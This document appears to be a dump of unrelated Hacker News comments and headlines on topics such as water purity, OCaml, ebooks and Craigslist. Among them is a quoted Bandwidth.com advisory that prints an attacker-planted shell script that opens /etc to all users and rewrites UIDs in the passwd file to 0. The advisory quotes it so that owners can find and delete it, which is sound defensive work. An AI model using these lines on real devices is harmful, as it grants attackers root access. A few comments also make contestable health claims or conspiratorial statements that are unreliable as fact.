skysight-inc/HackerNews huggingface dataset:
Sorry about that.

Didn't intend to be disagreeable, but I'm not drinking
the kool-aid on this one, water can not be too clean to drink, the article is a drama piece based on a false "fact".

Also must apologize for saying ultrapure is "biologically" equivalent when I meant dietarily equivalent for most people.

There can easily be germs or trace minerals even in commercial distilled water which could interfere with biological cultures causing difficulties which would not be a problem when using ultrapure.

Here's a good test sheet for the kind of ultrapure used to rate other waters for trace elements:

http://www.emdmillipore.com/US/en/product/Q-POD-Element,MM_N...

The commonly consumed solvent that I want to be careful
about is alcohol.

Water, OTOH is the solvent of life.
A healthy solvent no doubt.

Solvent strength and solubility calculations show complete
dependence on relative concentrations of solutes, let's
look at the math.

Take for example magnesium, in blood this is often
the lowest in concentration of the routine electrolytes tested, and there's no doubt the right amount of magnesium is good for the health.

"Drinking" water is Ozarka's grade having highest magnesium at about 3.9mg/L max. People love this stuff.
Me too when I can't get distilled.
But you're SOL depending on this popular typical drinking water for magnesium completely, you need another source.

One liter of their distilled water can have 0.1mg max of Mg.
(usually way less, but no need to test it any more sensitively since it's not ultrapure or anything exotic)

Ultrapure at 0.0000004mg typical per liter is what we're talking about for reference.

The cleaner the water the better the reference.

Great discrepancy here but the take away is that all these figures are inadequate sources of magnesium compared to what you need.

In typical patients urine is draining about 6 - 10 mEq/day, or 73 to 122mg/day, for an average of 97mg/day.

Now suppose you drink in 2 liters and it ends up flowing out at 97mg/day:

Ozarka Drinking water has some (palatable) magnesium in it, so you lose less, at 89mg

With their distilled you lose more, at least 97mg

with ultrapure you would lose the most, almost the whole 97mg

The RDA for magnesium is 310 to 420mg/day of which 350mg is recommended as maximum from supplements.
The difference between typical drinking water magnesium content and deionized (distilled or ultrapure)
is about 8mg/day when you are supposed to be consuming at least 38x that difference per day.
If you're not getting that much magnesium your nutrition may not be the best, and if you are getting the RDA then the 8mg delta is not much more than rounding error.
The 8mg is also a low fraction of the normal 49mg loss range from 73 to 122mg/day, and a small fraction of the full RDA.

I'm not making this up they way they are getting their facts in the article.

Distilled is a very good solvent, especially for minerals, put it in your windshield washer tank
and you can see the difference.

Delicious too, try some blind testing.

No affiliation wih Ozarka on my part either.

Not a full 1000words, but hope this helps.
Judging from the screenshot, I believe it's made by BodyMetrix:

http://www.amazon.com/BodyMetrix-Personal-Ultrasound-Body-Co...
AFAIK it's a different codebase, and I've never had any problems.
We will definitely take some time to do that. Thanks.
> But there is a strong community behind OCaml. A lot of undergraduate programs use a dialect of ML for their core classes

I don't understand your response. Are you saying the OCaml community primarily consists of undergraduates?

> While most OCaml implementations have poor standard libraries

That right there should tell you something.
"Local libraries already lend ebooks as well."

Have you ever tried that? Limited selection and weird rules like only certain devices and complicated account creation and then you only get to "keep" the ebook for 2 weeks or whatever.

I can get "free" audiobooks the same way. Its sadly easier to borrow the physical CDs and rip them.

Authors can make money by people who get gifts, and are in a hurry, or want reference tomes. I can read Stross's new novel after waiting in line just four or so months from now for free at my local library... Ah, who cares, its like an expensive lunch to just buy the ebook so I'll do that instead and downloaded it on release date. Another method is gifts. Nobody I know goes to bookstores anymore other than to buy gifts. We don't buy books for ourselves; we do buy gifts which happen to be books. Like the hallmark holiday card business, I don't buy myself Christmas cards, and thats OK, buy some and send them to other people.

If you're not in the "gift" "reference" or "trendy in a hurry" markets, you're in big trouble.
The redBus sale: A cautionary tale for Indian Startups
They mention they use Ocaml for server-side tasks. Is there a popular solution in OCaml for writing web pages or rest apis?
Media Ignorance Is Becoming A Serious Problem
Don't expect the web app to become any serious Mac app competitor anytime soon. Based on Instapaper's website, Marco dislikes working on them. It will keep basic functionality but his main focus will be on iOS for the foreseeable future.
In my experience, most of those complaining the loudest are upset that others have more than they do, not that they have more than others do. It's really more of a me-ritocracy.
App Placement in Cloud Foundry Diego: A Classical Optimization Problem
Thanks for posting links to research. I agree that the poster you refer to could have been more clear in his/her thought, but my general point was that merely discussing sex differences shouldn't be grounds to accuse people of sexism. Regardless of whether you're happy about it or not sex differences exist and on average different genders are better at different tasks. This is pretty solid psychology and no reputable psychologist would disagree with this. What it doesn't mean is that every woman is better than every man in certain areas or vice-versa, but it does mean there are patterns of behavior more common in women than in men, etc.
If you do your research beforehand, and don't just follow a huge queue of tourists off a bus and into a restaurant, you'll likely have a much better experience.
This is hard to believe. 10 permute 5 is just over 30,000. Unless stamps were less than 3 cents, that scam wouldn't work.

First class stamps have been 4 cents since 1958. Not to mention the labor of preparing 30,000 index cards.

TL;DR
Your dad should have gotten a job.
This was a pretty cool example of that: https://www.youtube.com/watch?v=mSwys0dm_EA

(context: after some occupy wall street protests were met with police violence, an armed Arizona militia watched over a local occupy movement to prevent police violence)
He uses Linux sys calls, which means the kernel needs to be there (and a libc of some sorts)... but that's all that's needed. So, with the RPi, you could essentially "boot" this code with pretty much a bare-metal system otherwise.
Looks like a paperclip to me, even when I was trying to see the vagina.
Also while playing, scroll down on the podcast artwork to get the show notes. The fav star is there too.
I could not find any technical details from Gemalto besides this blurb, which doesn't inspire confidence:

"We encrypt your CloudEntr password with a cryptographic hash function – and make sure you’re the only one with the key. We also secure your web logins with AES-256 symmetric key encryption algorithm."
This happens in places that are more like public squares. The drowning out is done not by website employees, but by other commenters. My comment is not about legality. It's about society. A society as I've described doesn't value free speech, it's just a bunch of short sighted individuals who only value their own speech. It values free speech in the same way a political party that wins elections to abolish democracy values democracy.

Underlying free speech: Does the society value the interchange of ideas, or does everyone just value their own ideas?
This implicitly means your code is fit for use, and if it crashes my system, you are liable (and, more importantly, you accept liability).

I'm glad you mention this. I work at an investment bank programming high frequency trading algorithms and we've been evaluating BrainFuck Bot as a way of performing tens of thousands of stock transactions per second for a mission critical enterprise application.

Since I now know the author of BrainFuck Bot did not checkmark the "No Warranty" clause thereby assuring me of perfect code and his infinite liability thereof, I feel more confident in betting the future of my bank on this code.
Works near-perfect for me. The tabs work, the threads work. Happy gmailer right here! :)

I do everything from gmail, it's pretty much my life. I receive about 50 mails a day. I have important logs and reports from my servers come into gmail. I hardly ever have to re-organize.

Now, how do we find out the difference between how you and I use gmail?
yeah we can wait for later stages for the implementation in demo but in the meantime any documentation or pointers on how to achieve the direct download of results..
+1, nesting would be the killer feature
At least in the case of my thermostat, all remote functions are mediated by a server on the thermostat company's side that dials into the thermostat over the Web. In order to compromise the thermostat, you'd have to know how to identify my thermostat and how to spoof the server it communicates with. It's not like you can just stand outside my window with a fob that has an antenna and a big red button and turn my heat up.

From another perspective, front doors with deadbolts and residential don't have a good security track record, either, since most of them can be kicked open easily. But they're good enough.
I get that you care, but you don't seem to have a dog in this fight, so why care so much? More specifically, its always useful to say

"Hey while that license is really creative, you realize that its also not doing you any favors. Three things that you might want to watch for are warranty issues, the ability to reassign to any license means you can be barred from using your own code, and someone can reassign the copyright to themselves and then take down your site with a DMCA. That is a lot of risk to carry just to be clever with the license."

The author seems to like it the way it is and you've shined your light on the risk, hope it doesn't show up as another HN post on how evil lawyers did evil things.
In San Francisco, Portland, and certain places in Los Angeles, there is a significant number of homeless people who make use of the library. I don't begrudge them the access to books, internet, learning, and a quiet place, but there is a small contingent who are mentally ill and/or disruptive and cause problems for other patrons. Cf. “Why we can't have nice things”

This is most likely true of any large city, but I don't have any first-hand experience beyond those three cities.
If this model takes hold, the thing that may need to change is the book itself. The economics of subscription suggest a shift in incentives away from the years-long creation of 300+ page tomes, and toward serialization or shorter forms. It behooves me, as an author, to have 10 or 20 "books" (or serialized installments) floating around the system each year, casting a wider net, than to bet the farm on one book a year.

This is a prime example of how this development could end up hurting consumers. For those of us that strongly prefer 'deep' books rather than ones released in chunks, the economic disincentives facing authors of such works suggest that there will be fewer options available in the future.

Of course, this isn't unprecedented. Dickens used to publish serially (partly because publishing and copyright enforcement was a bit of a free-for-all back then), and even the book-length versions of the novels had to be subsidized with advertising to offset the piracy losses. I have a copy of Great Expectations with advertisements for laundry soap and brass polish, which were aimed at the servants who were the target audience for the book.
"you can, but it's sufficiently clunky that it simply doesn't feel like a natural thing to do in the language."

It does to me, but I've done enough functional programming that I easily reach for concepts from that space.

"good language design is a lot more about the things it makes easy and natural than the things it makes possible."

Of course. I don't know where you got the idea I was saying closures aren't a good thing to have language support for. I said precisely the opposite.
Is that the problem, or is there just SO MUCH on PHP that it's hard to find the good stuff?
She may not be the smartest person, but either Kim K. or someone close to her is a VERY smart businessperson.
The only issue I personally ever had was gmail tagging almost anything as spam after I initially imported all my old email. It would even tag mails from my contacts as spam, but this stopped after a week or so. I've never encountered anything like what you describe.
The app has a nice clean design and the website provides a good overview of the features and pro differentiators. For android, you may want to include in the description why you need access to the camera/mic, etc. Nice work!
It doesn't necessarily have to be that way.

You can have both composable functions and non-wasteful semantics without turning the whole language into a lazy mess.

Note that this approach will also allow you to abstract over different data sources more easily.
Is extradition from Sweden easier than the UK? Why wait?
Airbnb redesign
My favorite thread splitting plugin is "editing the subject field when replying". Is this really a thing that people have trouble with?
Agreed. The article doesn't have to mesh with our own personal experiences in order for us to learn from it.
Is the number of employees always one of the first bullet points in board meeting Power Point slide? You could just add them all up.
Like this TOTP debugger?
https://google-authenticator.googlecode.com/git/libpam/totp....

It used to generate a QR code for you to scan, but that's apparently broken.
Bandwidth.com – EdgeMarc Device Passwords Potentially Compromised
Just got this email, eeek!<p>---
Dear Bandwidth Customers,<p>Bandwidth has discovered an issue wherein EdgeMarc device default passwords may have been compromised on the internet.<p>Any customer who currently owns the EdgeMarc box should immediately change their password.<p>If you are unsure if your specific device has been compromised, you can take the following steps to investigate. However, it is still highly recommended to change the password:<p>In the EdgeMarc GUI, under 'System' click on "Client List". If there are any entries listed other than known and local IP addresses, there is a strong possibility that your device has been compromised. To resolve, remove the offending IP address.<p>Additionally, the following steps should be taken to to ensure a secure device:<p>Disable PPTP (Point-to-Point Protocol) - Under PPTP server > Username, ensure there is no user built unless it is a known user.<p>Disallow WAN clients - Under VoIP ALG, uncheck both the 'allow clients on WAN' option, as well as the 'Enable LLDP' option.<p>Verify no additional scripting has taken place, by looking under 'User Commands'. Specifically, if the following script is present, it will need to be deleted:<p><pre><code> ln -sf /etc /etc/images/m.txt
chmod 777 /etc/images/m.txt/config/passwd
sed -i -e s'_'"501"'_'"0"'_' /etc/images/m.txt/config/passwd
sed -i -e s'_'"501"'_'"0"'_' /etc/images/m.txt/config/passwd
sed -i -e s'_'"/etc/images"'_'"/"'_' /etc/images/m.txt/config/passwd
</code></pre>
---
I don't think any of these things have anything to do with "hanging out" and "class". When you get a book on your Kindle, you're not hanging out with anyone, you're just getting a book. Also, anecdotes and data notwithstanding, the times I've seen people "hanging out" with people they didn't arrive with at a grocery store in my life can probably be counted on one hand.

When your (cash-rich, time-poor) friends buy books on their Kindles instead of going to the library, it's most likely because they value the convenience of (a) not having to go to the library to get the book (b) not having to consider whether the book is stocked (c) not having to got to the library to return it (d) not having to keep track of when the book must be returned (e) not having to actually carry a physical book around -- more then they value their $10-15.
The convenience and efficiency of being able to read any book instantly will be a huge boost for education as well I think more people will start reading more books due to this product.
Sometimes we turn to art (such as games) to forget about the problems we face in our reality. Sometimes we turn to art because we're desperate to see our reality reflected somewhere else, to be reassured that we're not alone.
I always interpret the message "This conversation may be recorded for quality purposes" as (somewhat ambiguously) granting me permission to record the conversation. "This conversation may be recorded (by you) for (what you deem to be) quality purposes".
You assume that losing control of his twitter account couldn't have unforeseen consequences. I'm sure the author didn't expect that he would end up having to change his phone number. It's not at all implausible that there could have been further repercussions.
Federal Judge Rules Death Penalty Unconstitutional in California
> There is not a strong community behind OCaml. You can't take advantage of the numerous libraries and references created by the community like you can with Ruby, Python, Javascript, Java, or any of the other mainstream languages.

There certainly seems to be a strong community behind OCaml. There may be languages with stronger communities (but doesn't distinguish, particularly in individual domains, OCaml from the other languages you list.)

> OCaml is hard (and so are most functional programming languages).

Functional programming languages may be initially hard, compared to unfamiliar imperative languages, for people who have deep imperative programming experience. I don't see any reason to believe they are objectively hard, and plenty of people learn functional programming (even if not in a pure functional language) early on in their programming education and are familiar with it to a degree that functional programming languages aren't categorically difficult.

> OCaml is not popular. You will have to pay an additional premium for OCaml developers due to the lack of experienced talent.

This assumes that "not popular" means "low current supply" but not also "low current demand". If the benefits are underrecognized among firms, then the current supply of OCaml developers could well be underpriced compared to value.

> OCaml is a risk. If you're starting a consumer-oriented service, you need to prove there is a market for it. Will OCaml help you get to market faster?

Faster than what?

> I don't know. Will Ruby-on-Rails? Yes.

In the Ruby-on-Rails case, do you really know, are you just following accepted wisdom? What's the comparison "faster" against in the first place?

> I'd pick RoR any day just to eliminate the risk of getting to market late.

If RoR really could eliminate that risk, and had no other costs for doing it, that would be a no brainer. However, I don't see the basis for the concluding that that is genuinely and universally the case.
That's great. Before clicking the link I thought "who the hell needs this"? But after trying it out for ~20 seconds... great - I'll use it.
100% agree. You need to do a good amount of research before traveling anywhere, let alone somewhere with as much of a restaurant scene as France.
I don't know about the current popularity, and I'm sure other stuff has come along since I've been familiar with what's going on in OCamlland, but there's certainly http://en.wikipedia.org/wiki/Ocsigen
Your welcome. You can actually arrange the page order. It's in the menu on the left. See here:

http://cl.ly/image/3B231q072E41

I'm sorry to hear about your experience with Blurb. Give Montage a try. I think you'll like the result. :)
The fact that OCaml is not an easy language might be a good way to find great developers.
Unfortunately not in portrait mode, at least for me. And in both portrait and landscape modes on my N7 Firefox only shows 3.5 tabs, about the same as Chrome.
I used Craigwatch. It was a useful tool - when a search pops, I get an email. I used to use Google Reader for this but when Reader died so did my RSS reading habit, so now email is the only part of my daily workflow that I poll frequently.

The real mystery to me is why Craigslist shut the service down, because (protocols aside) it wasn't fundamentally different from any other way of consuming craigslist. Craigslist's terms of service is actually pretty confusing:

USE. You agree not to use or provide software (except for general purpose web browsers
and email clients, or software expressly licensed by us) or services that interact or
interoperate with CL, e.g. for downloading, uploading, posting, flagging, emailing,
search, or mobile use. Robots, spiders, scripts, scrapers, crawlers, etc. are prohibited, as
are misleading, unsolicited, unlawful, and/or spam postings/email. You agree not to
collect users’ personal and/or contact information (“PI”).

...which if you think about it, bans the use of RSS readers too. There's a short blurb on the RSS page:

craigslist RSS feeds are for your personal use only, and are not available for commercial use without first obtaining a license from craigslist. Please consult our <Terms of Use> for more information on using craigslist RSS feeds.

The only relevant part of the Terms of Use is the section mentioned above, which doesn't really shed any light on the situation.

Honestly this is really confusing. Once again, Craigslist disappoints.
We are being sprayed with poison by our own government-must see evidence
Useful free stuff is typically gone in minutes. Only junk remains posted.

Its RSS feeds have a refresh period of 1 hour, which is simply too long to have the opportunity to grab hot items.

As Craigslist has very shallow category listings in its "free" category, where you can't separate furniture from clothes as an example, the site forces users to rely on manually refreshing pages, which change very often.

I have better user experience using Craigslist from my iPad. Craigslist appears to selectively make the service available to app makers but not to websites.

In the past 3 days of shopping for a specific car within about 15 Craigslist local communities, I managed to get automatically blocked by the service several times. What I am looking for is very specific and I don't mind traveling a bit to get what I want.

I ended up having to write code with sleep timers to reduce my number of web queries once I narrowed what I wanted.

An essential feature in the iPad app is that I can cross off listings that are no longer interesting to me and highlight favorites. There is no listing cross-off feature for the website.

I guess my next step is to add that feature. laugh
I was trying to write an eloquent reply but I remembered that PG did a better job than I could.

http://www.paulgraham.com/avg.html
With several miles of elevated highway, a moderate volume of volunteered & OEM supplied vehicles and open minded infrastructure partners a pretty broad range of hacks/trials could be accommodated. Actively driving vehicles off the road and/or damaging them would be frowned on. However, sudden avoidance of "soft" obstacles under different scenarios definitely works.

Not sure how to work in the scoring aspect of a flying v, but would definitely be fun to model fuel savings of cars doing the same.
EXTREMELY difficult niche / industry to penetrate. I used to do work for Chinese restaurants as well and had a terrible time trying to even get some of them to listen to me.
Another commenter posted this link: http://yclist.com/

According to it, 46 companies are "dead", 52 are "exited" and 445 are "active".